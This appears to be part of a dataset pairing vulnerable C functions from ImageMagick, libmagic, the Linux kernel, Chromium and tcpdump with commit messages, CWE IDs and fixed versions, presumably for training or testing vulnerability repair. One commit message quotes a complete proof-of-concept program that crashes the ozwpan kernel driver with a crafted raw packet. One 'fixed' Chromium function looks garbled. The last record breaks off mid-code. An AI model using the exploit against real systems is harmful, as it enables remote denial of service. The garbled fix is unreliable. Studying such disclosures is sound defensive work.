ErasePalette; PalHeader.Version=ReadBlobLSBShort(palette); PalHeader.Size=ReadBlobLSBShort(palette); PalHeader.FileType=(char) ReadBlobByte(palette); PalHeader.SubType=(char) ReadBlobByte(palette); PalHeader.BoardID=ReadBlobLSBShort(palette); PalHeader.GraphicsMode=ReadBlobLSBShort(palette); PalHeader.MaxIndex=ReadBlobLSBShort(palette); PalHeader.MaxRed=ReadBlobLSBShort(palette); PalHeader.MaxGreen=ReadBlobLSBShort(palette); PalHeader.MaxBlue=ReadBlobLSBShort(palette); (void) ReadBlob(palette,20,(unsigned char *) PalHeader.PaletteId); if(PalHeader.MaxIndex<1) goto ErasePalette; image->colors=PalHeader.MaxIndex+1; if (AcquireImageColormap(image,image->colors) == MagickFalse) goto NoMemory; if(PalHeader.MaxRed==0) PalHeader.MaxRed=(unsigned int) QuantumRange; /*avoid division by 0*/ if(PalHeader.MaxGreen==0) PalHeader.MaxGreen=(unsigned int) QuantumRange; if(PalHeader.MaxBlue==0) PalHeader.MaxBlue=(unsigned int) QuantumRange; for(i=0;i<=(int) PalHeader.MaxIndex;i++) { /*this may be wrong- I don't know why is palette such strange*/ j=(ssize_t) TellBlob(palette); if((j % 512)>512-6) { j=((j / 512)+1)*512; offset=SeekBlob(palette,j,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } image->colormap[i].red=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxRed) { image->colormap[i].red=ClampToQuantum(((double) image->colormap[i].red*QuantumRange+(PalHeader.MaxRed>>1))/ PalHeader.MaxRed); } image->colormap[i].green=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxGreen) { image->colormap[i].green=ClampToQuantum (((double) image->colormap[i].green*QuantumRange+(PalHeader.MaxGreen>>1))/PalHeader.MaxGreen); } image->colormap[i].blue=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxBlue) { image->colormap[i].blue=ClampToQuantum (((double)image->colormap[i].blue*QuantumRange+(PalHeader.MaxBlue>>1))/PalHeader.MaxBlue); } } } NoPalette: if(palette==NULL) { image->colors=256; if (AcquireImageColormap(image,image->colors) == MagickFalse) { NoMemory: ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); } for (i=0; i < (ssize_t)image->colors; i++) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) i); image->colormap[i].green=ScaleCharToQuantum((unsigned char) i); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) i); } } /* ----- Load RLE compressed raster ----- */ BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/ if(BImgBuff==NULL) goto NoMemory; offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); for (i=0; i < (int) Header.Height; i++) { EncodedByte=ReadBlobLSBShort(image); ptrB=BImgBuff; j=ldblk; RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; while ((int) RunCountMasked != 0) { if((ssize_t) RunCountMasked>j) { /*Wrong Data*/ RunCountMasked=(unsigned char) j; if(j==0) { break; } } if((int) RunCount>0x80) { RunValue=(unsigned char) ReadBlobByte(image); (void) ResetMagickMemory(ptrB,(int) RunValue,(size_t) RunCountMasked); } else { (void) ReadBlob(image,(size_t) RunCountMasked,ptrB); } ptrB+=(int) RunCountMasked; j-=(int) RunCountMasked; if (EOFBlob(image) != MagickFalse) goto Finish; /* wrong data: unexpected eof in line */ RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; } InsertRow(depth,BImgBuff,i,image); } (void) SyncImage(image); /*detect monochrome image*/ if(palette==NULL) { /*attempt to detect binary (black&white) images*/ if ((image->storage_class == PseudoClass) && (IsGrayImage(image,&image->exception) != MagickFalse)) { if(GetCutColors(image)==2) { for (i=0; i < (ssize_t)image->colors; i++) { register Quantum sample; sample=ScaleCharToQuantum((unsigned char) i); if(image->colormap[i].red!=sample) goto Finish; if(image->colormap[i].green!=sample) goto Finish; if(image->colormap[i].blue!=sample) goto Finish; } image->colormap[1].red=image->colormap[1].green= image->colormap[1].blue=QuantumRange; for (i=0; i < (ssize_t)image->rows; i++) { q=QueueAuthenticPixels(image,0,i,image->columns,1,exception); for (j=0; j < (ssize_t)image->columns; j++) { if (GetPixelRed(q) == ScaleCharToQuantum(1)) { SetPixelRed(q,QuantumRange); SetPixelGreen(q,QuantumRange); SetPixelBlue(q,QuantumRange); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) goto Finish; } } } } Finish: if (BImgBuff != NULL) BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); if (EOFBlob(image) != MagickFalse) ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); (void) CloseBlob(image); return(GetFirstImageInList(image)); } Commit Message: CWE ID: CWE-119
static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image,*palette; ImageInfo *clone_info; MagickBooleanType status; MagickOffsetType offset; size_t EncodedByte; unsigned char RunCount,RunValue,RunCountMasked; CUTHeader Header; CUTPalHeader PalHeader; ssize_t depth; ssize_t i,j; ssize_t ldblk; unsigned char *BImgBuff=NULL,*ptrB; PixelPacket *q; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read CUT image. */ palette=NULL; clone_info=NULL; Header.Width=ReadBlobLSBShort(image); Header.Height=ReadBlobLSBShort(image); Header.Reserved=ReadBlobLSBShort(image); if (Header.Width==0 || Header.Height==0 || Header.Reserved!=0) CUT_KO: ThrowReaderException(CorruptImageError,"ImproperImageHeader"); /*---This code checks first line of image---*/ EncodedByte=ReadBlobLSBShort(image); RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; ldblk=0; while((int) RunCountMasked!=0) /*end of line?*/ { i=1; if((int) RunCount<0x80) i=(ssize_t) RunCountMasked; offset=SeekBlob(image,TellBlob(image)+i,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data*/ EncodedByte-=i+1; ldblk+=(ssize_t) RunCountMasked; RunCount=(unsigned char) ReadBlobByte(image); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data: unexpected eof in line*/ RunCountMasked=RunCount & 0x7F; } if(EncodedByte!=1) goto CUT_KO; /*wrong data: size incorrect*/ i=0; /*guess a number of bit planes*/ if(ldblk==(int) Header.Width) i=8; if(2*ldblk==(int) Header.Width) i=4; if(8*ldblk==(int) Header.Width) i=1; if(i==0) goto CUT_KO; /*wrong data: incorrect bit planes*/ depth=i; image->columns=Header.Width; image->rows=Header.Height; image->depth=8; image->colors=(size_t) (GetQuantumRange(1UL*i)+1); if (image_info->ping != MagickFalse) goto Finish; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } /* ----- Do something with palette ----- */ if ((clone_info=CloneImageInfo(image_info)) == NULL) goto NoPalette; i=(ssize_t) strlen(clone_info->filename); j=i; while(--i>0) { if(clone_info->filename[i]=='.') { break; } if(clone_info->filename[i]=='/' || clone_info->filename[i]=='\\' || clone_info->filename[i]==':' ) { i=j; break; } } (void) CopyMagickString(clone_info->filename+i,".PAL",(size_t) (MaxTextExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { (void) CopyMagickString(clone_info->filename+i,".pal",(size_t) (MaxTextExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info->filename[i]='\0'; if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info=DestroyImageInfo(clone_info); clone_info=NULL; goto NoPalette; } } } if( (palette=AcquireImage(clone_info))==NULL ) goto NoPalette; status=OpenBlob(clone_info,palette,ReadBinaryBlobMode,exception); if (status == MagickFalse) { ErasePalette: palette=DestroyImage(palette); palette=NULL; goto NoPalette; } if(palette!=NULL) { (void) ReadBlob(palette,2,(unsigned char *) PalHeader.FileId); if(strncmp(PalHeader.FileId,"AH",2) != 0) goto ErasePalette; PalHeader.Version=ReadBlobLSBShort(palette); PalHeader.Size=ReadBlobLSBShort(palette); PalHeader.FileType=(char) ReadBlobByte(palette); PalHeader.SubType=(char) ReadBlobByte(palette); PalHeader.BoardID=ReadBlobLSBShort(palette); PalHeader.GraphicsMode=ReadBlobLSBShort(palette); PalHeader.MaxIndex=ReadBlobLSBShort(palette); PalHeader.MaxRed=ReadBlobLSBShort(palette); PalHeader.MaxGreen=ReadBlobLSBShort(palette); PalHeader.MaxBlue=ReadBlobLSBShort(palette); (void) ReadBlob(palette,20,(unsigned char *) PalHeader.PaletteId); if(PalHeader.MaxIndex<1) goto ErasePalette; image->colors=PalHeader.MaxIndex+1; if (AcquireImageColormap(image,image->colors) == MagickFalse) goto NoMemory; if(PalHeader.MaxRed==0) PalHeader.MaxRed=(unsigned int) QuantumRange; /*avoid division by 0*/ if(PalHeader.MaxGreen==0) PalHeader.MaxGreen=(unsigned int) QuantumRange; if(PalHeader.MaxBlue==0) PalHeader.MaxBlue=(unsigned int) QuantumRange; for(i=0;i<=(int) PalHeader.MaxIndex;i++) { /*this may be wrong- I don't know why is palette such strange*/ j=(ssize_t) TellBlob(palette); if((j % 512)>512-6) { j=((j / 512)+1)*512; offset=SeekBlob(palette,j,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } image->colormap[i].red=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxRed) { image->colormap[i].red=ClampToQuantum(((double) image->colormap[i].red*QuantumRange+(PalHeader.MaxRed>>1))/ PalHeader.MaxRed); } image->colormap[i].green=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxGreen) { image->colormap[i].green=ClampToQuantum (((double) image->colormap[i].green*QuantumRange+(PalHeader.MaxGreen>>1))/PalHeader.MaxGreen); } image->colormap[i].blue=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxBlue) { image->colormap[i].blue=ClampToQuantum (((double)image->colormap[i].blue*QuantumRange+(PalHeader.MaxBlue>>1))/PalHeader.MaxBlue); } } } NoPalette: if(palette==NULL) { image->colors=256; if (AcquireImageColormap(image,image->colors) == MagickFalse) { NoMemory: ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); } for (i=0; i < (ssize_t)image->colors; i++) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) i); image->colormap[i].green=ScaleCharToQuantum((unsigned char) i); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) i); } } /* ----- Load RLE compressed raster ----- */ BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/ if(BImgBuff==NULL) goto NoMemory; offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); for (i=0; i < (int) Header.Height; i++) { EncodedByte=ReadBlobLSBShort(image); ptrB=BImgBuff; j=ldblk; RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; while ((int) RunCountMasked != 0) { if((ssize_t) RunCountMasked>j) { /*Wrong Data*/ RunCountMasked=(unsigned char) j; if(j==0) { break; } } if((int) RunCount>0x80) { RunValue=(unsigned char) ReadBlobByte(image); (void) ResetMagickMemory(ptrB,(int) RunValue,(size_t) RunCountMasked); } else { (void) ReadBlob(image,(size_t) RunCountMasked,ptrB); } ptrB+=(int) RunCountMasked; j-=(int) RunCountMasked; if (EOFBlob(image) != MagickFalse) goto Finish; /* wrong data: unexpected eof in line */ RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; } InsertRow(depth,BImgBuff,i,image); } (void) SyncImage(image); /*detect monochrome image*/ if(palette==NULL) { /*attempt to detect binary (black&white) images*/ if ((image->storage_class == PseudoClass) && (IsGrayImage(image,&image->exception) != MagickFalse)) { if(GetCutColors(image)==2) { for (i=0; i < (ssize_t)image->colors; i++) { register Quantum sample; sample=ScaleCharToQuantum((unsigned char) i); if(image->colormap[i].red!=sample) goto Finish; if(image->colormap[i].green!=sample) goto Finish; if(image->colormap[i].blue!=sample) goto Finish; } image->colormap[1].red=image->colormap[1].green= image->colormap[1].blue=QuantumRange; for (i=0; i < (ssize_t)image->rows; i++) { q=QueueAuthenticPixels(image,0,i,image->columns,1,exception); for (j=0; j < (ssize_t)image->columns; j++) { if (GetPixelRed(q) == ScaleCharToQuantum(1)) { SetPixelRed(q,QuantumRange); SetPixelGreen(q,QuantumRange); SetPixelBlue(q,QuantumRange); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) goto Finish; } } } } Finish: if (BImgBuff != NULL) BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); if (EOFBlob(image) != MagickFalse) ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); (void) CloseBlob(image); return(GetFirstImageInList(image)); }
168,554
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void IBusBusConnectedCallback(IBusBus* bus, gpointer user_data) { LOG(WARNING) << "IBus connection is recovered."; g_return_if_fail(user_data); InputMethodStatusConnection* self = static_cast<InputMethodStatusConnection*>(user_data); self->MaybeRestoreConnections(); } Commit Message: Remove use of libcros from InputMethodLibrary. BUG=chromium-os:16238 TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before. Review URL: http://codereview.chromium.org/7003086 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399
static void IBusBusConnectedCallback(IBusBus* bus, gpointer user_data) { void IBusBusConnected(IBusBus* bus) { LOG(WARNING) << "IBus connection is recovered."; MaybeRestoreConnections(); }
170,536
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir, const unsigned char *s, uint32_t offset, size_t nbytes, size_t linecnt) { /* * Note: FILE_SEARCH and FILE_REGEX do not actually copy * anything, but setup pointers into the source */ if (indir == 0) { switch (type) { case FILE_SEARCH: ms->search.s = RCAST(const char *, s) + offset; ms->search.s_len = nbytes - offset; ms->search.offset = offset; return 0; case FILE_REGEX: { const char *b; const char *c; const char *last; /* end of search region */ const char *buf; /* start of search region */ const char *end; size_t lines; if (s == NULL) { ms->search.s_len = 0; ms->search.s = NULL; return 0; } buf = RCAST(const char *, s) + offset; end = last = RCAST(const char *, s) + nbytes; /* mget() guarantees buf <= last */ for (lines = linecnt, b = buf; lines && b < end && ((b = CAST(const char *, memchr(c = b, '\n', CAST(size_t, (end - b))))) || (b = CAST(const char *, memchr(c, '\r', CAST(size_t, (end - c)))))); lines--, b++) { last = b; if (b[0] == '\r' && b[1] == '\n') b++; } if (lines) last = RCAST(const char *, s) + nbytes; ms->search.s = buf; ms->search.s_len = last - buf; ms->search.offset = offset; ms->search.rm_len = 0; return 0; } case FILE_BESTRING16: case FILE_LESTRING16: { const unsigned char *src = s + offset; const unsigned char *esrc = s + nbytes; char *dst = p->s; char *edst = &p->s[sizeof(p->s) - 1]; if (type == FILE_BESTRING16) src++; /* check that offset is within range */ if (offset >= nbytes) break; for (/*EMPTY*/; src < esrc; src += 2, dst++) { if (dst < edst) *dst = *src; else break; if (*dst == '\0') { if (type == FILE_BESTRING16 ? *(src - 1) != '\0' : *(src + 1) != '\0') *dst = ' '; } } *edst = '\0'; return 0; } case FILE_STRING: /* XXX - these two should not need */ case FILE_PSTRING: /* to copy anything, but do anyway. */ default: break; } } if (offset >= nbytes) { (void)memset(p, '\0', sizeof(*p)); return 0; } if (nbytes - offset < sizeof(*p)) nbytes = nbytes - offset; else nbytes = sizeof(*p); (void)memcpy(p, s + offset, nbytes); /* * the usefulness of padding with zeroes eludes me, it * might even cause problems */ if (nbytes < sizeof(*p)) (void)memset(((char *)(void *)p) + nbytes, '\0', sizeof(*p) - nbytes); return 0; } Commit Message: * Enforce limit of 8K on regex searches that have no limits * Allow the l modifier for regex to mean line count. Default to byte count. If line count is specified, assume a max of 80 characters per line to limit the byte count. * Don't allow conversions to be used for dates, allowing the mask field to be used as an offset. * Bump the version of the magic format so that regex changes are visible. CWE ID: CWE-399
mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir, const unsigned char *s, uint32_t offset, size_t nbytes, struct magic *m) { /* * Note: FILE_SEARCH and FILE_REGEX do not actually copy * anything, but setup pointers into the source */ if (indir == 0) { switch (type) { case FILE_SEARCH: ms->search.s = RCAST(const char *, s) + offset; ms->search.s_len = nbytes - offset; ms->search.offset = offset; return 0; case FILE_REGEX: { const char *b; const char *c; const char *last; /* end of search region */ const char *buf; /* start of search region */ const char *end; size_t lines, linecnt, bytecnt; if (s == NULL) { ms->search.s_len = 0; ms->search.s = NULL; return 0; } if (m->str_flags & REGEX_LINE_COUNT) { linecnt = m->str_range; bytecnt = linecnt * 80; } else { linecnt = 0; bytecnt = m->str_range; } if (bytecnt == 0) bytecnt = 8192; if (bytecnt > nbytes) bytecnt = nbytes; buf = RCAST(const char *, s) + offset; end = last = RCAST(const char *, s) + bytecnt; /* mget() guarantees buf <= last */ for (lines = linecnt, b = buf; lines && b < end && ((b = CAST(const char *, memchr(c = b, '\n', CAST(size_t, (end - b))))) || (b = CAST(const char *, memchr(c, '\r', CAST(size_t, (end - c)))))); lines--, b++) { last = b; if (b[0] == '\r' && b[1] == '\n') b++; } if (lines) last = RCAST(const char *, s) + bytecnt; ms->search.s = buf; ms->search.s_len = last - buf; ms->search.offset = offset; ms->search.rm_len = 0; return 0; } case FILE_BESTRING16: case FILE_LESTRING16: { const unsigned char *src = s + offset; const unsigned char *esrc = s + nbytes; char *dst = p->s; char *edst = &p->s[sizeof(p->s) - 1]; if (type == FILE_BESTRING16) src++; /* check that offset is within range */ if (offset >= nbytes) break; for (/*EMPTY*/; src < esrc; src += 2, dst++) { if (dst < edst) *dst = *src; else break; if (*dst == '\0') { if (type == FILE_BESTRING16 ? *(src - 1) != '\0' : *(src + 1) != '\0') *dst = ' '; } } *edst = '\0'; return 0; } case FILE_STRING: /* XXX - these two should not need */ case FILE_PSTRING: /* to copy anything, but do anyway. */ default: break; } } if (offset >= nbytes) { (void)memset(p, '\0', sizeof(*p)); return 0; } if (nbytes - offset < sizeof(*p)) nbytes = nbytes - offset; else nbytes = sizeof(*p); (void)memcpy(p, s + offset, nbytes); /* * the usefulness of padding with zeroes eludes me, it * might even cause problems */ if (nbytes < sizeof(*p)) (void)memset(((char *)(void *)p) + nbytes, '\0', sizeof(*p) - nbytes); return 0; }
166,359
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static inline int verify_replay(struct xfrm_usersa_info *p, struct nlattr **attrs) { struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL]; if ((p->flags & XFRM_STATE_ESN) && !rt) return -EINVAL; if (!rt) return 0; if (p->id.proto != IPPROTO_ESP) return -EINVAL; if (p->replay_window != 0) return -EINVAL; return 0; } Commit Message: xfrm_user: ensure user supplied esn replay window is valid The current code fails to ensure that the netlink message actually contains as many bytes as the header indicates. If a user creates a new state or updates an existing one but does not supply the bytes for the whole ESN replay window, the kernel copies random heap bytes into the replay bitmap, the ones happen to follow the XFRMA_REPLAY_ESN_VAL netlink attribute. This leads to following issues: 1. The replay window has random bits set confusing the replay handling code later on. 2. A malicious user could use this flaw to leak up to ~3.5kB of heap memory when she has access to the XFRM netlink interface (requires CAP_NET_ADMIN). Known users of the ESN replay window are strongSwan and Steffen's iproute2 patch (<http://patchwork.ozlabs.org/patch/85962/>). The latter uses the interface with a bitmap supplied while the former does not. strongSwan is therefore prone to run into issue 1. To fix both issues without breaking existing userland allow using the XFRMA_REPLAY_ESN_VAL netlink attribute with either an empty bitmap or a fully specified one. For the former case we initialize the in-kernel bitmap with zero, for the latter we copy the user supplied bitmap. For state updates the full bitmap must be supplied. To prevent overflows in the bitmap length calculation the maximum size of bmp_len is limited to 128 by this patch -- resulting in a maximum replay window of 4096 packets. This should be sufficient for all real life scenarios (RFC 4303 recommends a default replay window size of 64). Cc: Steffen Klassert <[email protected]> Cc: Martin Willi <[email protected]> Cc: Ben Hutchings <[email protected]> Signed-off-by: Mathias Krause <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-200
static inline int verify_replay(struct xfrm_usersa_info *p, struct nlattr **attrs) { struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL]; struct xfrm_replay_state_esn *rs; if (p->flags & XFRM_STATE_ESN) { if (!rt) return -EINVAL; rs = nla_data(rt); if (rs->bmp_len > XFRMA_REPLAY_ESN_MAX / sizeof(rs->bmp[0]) / 8) return -EINVAL; if (nla_len(rt) < xfrm_replay_state_esn_len(rs) && nla_len(rt) != sizeof(*rs)) return -EINVAL; } if (!rt) return 0; if (p->id.proto != IPPROTO_ESP) return -EINVAL; if (p->replay_window != 0) return -EINVAL; return 0; }
166,190
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_usb_hdr *usb_hdr, int len) { struct oz_data *data_hdr = (struct oz_data *)usb_hdr; switch (data_hdr->format) { case OZ_DATA_F_MULTIPLE_FIXED: { struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; int n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, body->unit_size); data += body->unit_size; } } break; case OZ_DATA_F_ISOC_FIXED: { struct oz_isoc_fixed *body = (struct oz_isoc_fixed *)data_hdr; int data_len = len-sizeof(struct oz_isoc_fixed)+1; int unit_size = body->unit_size; u8 *data = body->data; int count; int i; if (!unit_size) break; count = data_len/unit_size; for (i = 0; i < count; i++) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, unit_size); data += unit_size; } } break; } } Commit Message: ozwpan: divide-by-zero leading to panic A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]> CWE ID: CWE-189
static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_usb_hdr *usb_hdr, int len) { struct oz_data *data_hdr = (struct oz_data *)usb_hdr; switch (data_hdr->format) { case OZ_DATA_F_MULTIPLE_FIXED: { struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; int n; if (!body->unit_size) break; n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, body->unit_size); data += body->unit_size; } } break; case OZ_DATA_F_ISOC_FIXED: { struct oz_isoc_fixed *body = (struct oz_isoc_fixed *)data_hdr; int data_len = len-sizeof(struct oz_isoc_fixed)+1; int unit_size = body->unit_size; u8 *data = body->data; int count; int i; if (!unit_size) break; count = data_len/unit_size; for (i = 0; i < count; i++) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, unit_size); data += unit_size; } } break; } }
166,617
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: lldp_private_8023_print(netdissect_options *ndo, const u_char *tptr, u_int tlv_len) { int subtype, hexdump = FALSE; if (tlv_len < 4) { return hexdump; } subtype = *(tptr+3); ND_PRINT((ndo, "\n\t %s Subtype (%u)", tok2str(lldp_8023_subtype_values, "unknown", subtype), subtype)); switch (subtype) { case LLDP_PRIVATE_8023_SUBTYPE_MACPHY: if (tlv_len < 9) { return hexdump; } ND_PRINT((ndo, "\n\t autonegotiation [%s] (0x%02x)", bittok2str(lldp_8023_autonegotiation_values, "none", *(tptr+4)), *(tptr + 4))); ND_PRINT((ndo, "\n\t PMD autoneg capability [%s] (0x%04x)", bittok2str(lldp_pmd_capability_values,"unknown", EXTRACT_16BITS(tptr+5)), EXTRACT_16BITS(tptr + 5))); ND_PRINT((ndo, "\n\t MAU type %s (0x%04x)", tok2str(lldp_mau_types_values, "unknown", EXTRACT_16BITS(tptr+7)), EXTRACT_16BITS(tptr + 7))); break; case LLDP_PRIVATE_8023_SUBTYPE_MDIPOWER: if (tlv_len < 7) { return hexdump; } ND_PRINT((ndo, "\n\t MDI power support [%s], power pair %s, power class %s", bittok2str(lldp_mdi_values, "none", *(tptr+4)), tok2str(lldp_mdi_power_pairs_values, "unknown", *(tptr+5)), tok2str(lldp_mdi_power_class_values, "unknown", *(tptr + 6)))); break; case LLDP_PRIVATE_8023_SUBTYPE_LINKAGGR: if (tlv_len < 9) { return hexdump; } ND_PRINT((ndo, "\n\t aggregation status [%s], aggregation port ID %u", bittok2str(lldp_aggregation_values, "none", *(tptr+4)), EXTRACT_32BITS(tptr + 5))); break; case 